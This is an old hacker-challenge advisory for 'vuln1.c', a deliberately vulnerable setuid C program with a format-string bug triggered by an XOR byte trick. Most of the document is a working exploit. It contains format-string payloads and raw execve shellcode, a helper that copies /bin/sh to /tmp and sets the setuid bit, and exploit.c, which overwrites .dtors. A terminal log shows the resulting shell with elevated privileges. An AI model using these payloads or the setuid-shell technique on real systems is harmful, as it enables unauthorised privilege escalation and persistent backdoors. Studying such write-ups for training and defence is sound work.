Author: Rave
Title: Advisory for f334g443.c
Date: Jan-04
Type of Bug: Special case format bug
Risk: Huge if running suid
Program: http://bffffab0.info/f334g443.c
-bash-2.05b$ cat vuln1.c
/*
* Another Not So Hard Bug to play with :)
*
* This one is specially crafted for rave
*
* by bob[at]dtors
*
*/
#include <stdio.h>
#include <fcntl.h>
char buf[1024];
char bytes[256];
char *py;
bob (char *buf, int len)
{
register int x;
register char * pb;
pb = buf;
x = len;
while (x > 0) {
*pb = (*pb ^ *py);
pb++;
py++;
if (! *py)
py = bytes;
fprintf(stdout,buf);
x--;
}
}
int main (int argc,char *argv[])
{
int x = 0;
memset (bytes, 0, sizeof (bytes));
bytes[0] = 0xb0;
py = bytes;
x = 1;
fprintf(stdout, "bobbed output: ");
while (x > 0) {
x = read (0, buf);
bob (buf, x);
}
exit (0);
}
Ow yes this was realy a nice bug to exploit, I must say this vuln is not for the novice among us today. The
Program is vulnerable to a format bug in a special way :D. Users could exploit the vulnerable code and execute
arbitary commands with higher privilages.P0C:
-bash-2.05b$ echo AAAAA%x.%x.%x | ./vuln1
bobbed output: ñAAAAbfbffb80.280d7371.e
ññAAAbfbffb80.280d7371.e
ñññAAbfbffb80.280d7371.e
ññññAbfbffb80.280d7371.e
ñññññbfbffb80.280d7371.e
ñññññx.bfbffb80.280d7371
ñññññÈ.bfbffb80.280d7371
ñññññÈbfbffb80.280d7371
ñññññÈx.bfbffb80
ñññññÈÈ.bfbffb80
ñññññÈÈbfbffb80
ñññññÈÈx
ñññññÈÈÈ
ñññññÈÈȺ
-bash-2.05b$
This is a special case format vulnerability because you can`t reach you own input unless you take some infacive actions first u need to stop the xor loop. Next ule need a place on the stack where u can put your adresses to write to. Stopping the while ( x > 0) loop This loop runs from strlen (input) to 0, but whe have to brake it to stop the anoying countdown because if whe leave the countdown like it is ule recv a segv at the moment the output string < (strlen (formatstring)). But now how can stop the loop.
while (x > 0) {
*pb = (*pb ^ *py);
pb++;
py++;
if (! *py)
py = bytes;
fprintf(stdout,buf);
x--;
}
This loop inside bob () stops if *Pb returns 0 because *pb point to char *buf from the calling arguments of bob (). This means that if Pb return 0 the input string has ended.
*pb = (*pb ^ *py);
If *Pd = 0x41 ('A') it would do
41 ^ 0xb0 = 0xf1
But if we us a \xb0 byte in our format string this sum ends up like.
0xb0 ^ 0xb0 = 0x00
This will be enough to stop the while loop, now whe have only one output (thanks to the fprintf in the loop).
-bash-2.05b$ echo -e "AA\xb0AABBBB%x.%x.%x" | ./vuln1
bobbed output: ñA°AABBBBbfbffb70.280d7371.12
ññ°AABBBBbfbffb70.280d7371.12
ññññññññññññññññññññññññññññññññ-bash-2.05b$
But still we can reach our input we can solve this by giving the adressess to write to as argument one (like ./vuln AAAABBBB) and brute force the number of stackpops to use.
-bash-2.05b$ echo -e "AA\xb0AABBBB"%103$\x.%104$\x | ./vuln1 AAAABBBB.. BBBB
bobbed output: ñA°AABBBB41414141.42424242
ññ°AABBBB41414141.42424242
ññññññññññññññññññññññññññññññññññññññññññ-bash-2.05b$
From now on its just u format bug that can be exploited how ever you want to. But because of my way of exploiting I had to use a special shellcode that calls out for /tmp/bob. This executable sets the uid and gid to 1017 (bobs uid) and creates a suid shell in /tmp.
My exploit feathures.
So this makes my exploit kinda and old style exploit but any ways who doesn’t remember the old days when everything was just fine and life was easy?. If anyone has questions about how to exploit this bug pls contact me on irc or email me at
[email protected].But exactly why did i use methode of executing a file that creates a suid shell? Instead of just running a shellcode that calls /bin/sh ?. In my exploit I use pipes, this means at the moment that a normal shellcode would get executed by f334g443.c (bob`s vuln) these pipes will brake and ule recv a "Broken pipe" error message. Now I know i could work around this problem by looking up the files discryptor number dup2() returns in my exploit and use it in a advanced shellcode via write(duppedpipe,stdoutext,length) but generating that kind of shellcode would take to long since I was not the only one playing this challenge. So this way was the quickest and proofs to be the most efficent way to exploit this bug.
// Executes
// Execve("/tmp/bob", [0], [/* 0 vars */])
char shellcode[]=
"\x31\xc0\x31\xc9\x50\x68\x2f\x62"
"\x6f\x62\x68\x2f\x74\x6d\x70\x8d"
"\x0c\x24\x50\x50\x51\x51\xb0\x3b"
"\xcd\x80";
// bob.c
int main(void)
{
setuid(1017);setgid(1017);
system("cp /bin/sh /tmp;chown bob /tmp/sh;chmod a+s /tmp/sh");
}
// exploit.c
#define x0r 0xb0 // X0r byte used by vuln1
char shellcode []=
// bsd shellcode (special build)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xc9\x50\x68\x2f\x62"
"\x6f\x62\x68\x2f\x74\x6d\x70\x8d"
"\x0c\x24\x50\x50\x51\x51\xb0\x3b"
"\xcd\x80";
// the adresses to write to in this case the dtors
long *adresses [ 2 ] = {
(0x0804970c+4) +2,
(0x0804970c+4)
}
;
// this routine creates echo <format string> | ./vuln1 <adresses>
int execute (char *adresses,char *fmtstring)
{
int pijp[2];
pipe(pijp);
if (fork() !=0){
dup2(pijp[0],0);
close(pijp[1]);
execlp("./vuln1","./vuln1",adresses,0);
}
if (fork() !=0){
dup2(pijp[1],1);
close(pijp[0]);
close(pijp[1]);
wait(0);
wait(0);
}
int main(void)
{
int high,low,i;
char buffer[900];
char adr[128];
char mshell [900];
long target =0xbfbffe70 ; // Address of shellcode
// (we write this to the dtors)
high = (target & 0xffff0000) >> 16;
low = (target & 0x0000ffff);
// put the adresses to write to in one buffer
sprintf(adr,"%s%s",
((char *)&adresses[0]),
((char *)&adresses[1])
);
high -=11; //whe have 11 already written bytes : strlen("AA%cAAAABBBB");
// Here we build our format string
sprintf(buffer,"AA%cAAAABBBB%%.%dx%%%d$hn%%.%dx%%%d$hn",
x0r,
high,
103,
(low-high)-11,
104
);
setenv("dsr",shellcode,1); // whe put the execve("/tmp/bob",0,0); shellcode in the env
execute (adr,buffer); // and execute the exploit
}
-bash-2.0.5$ ./test
... <data spaced out>
... <data spaced out>
... <data spaced out>
... <data spaced out>
0000000000000000000000008049710
chown: not found
-bash-2.05b$ /tmp/sh
$ id
uid=1018(rave) euid=1017(bob) gid=1018(rave) egid=0(wheel) groups=0(wheel), 1018(rave), 0(wheel)
$ exit
-bash-2.05b$
My tankz go out to bob for this great vuln.
And my greetz to every one I know
Enjoy.., rave ([email protected])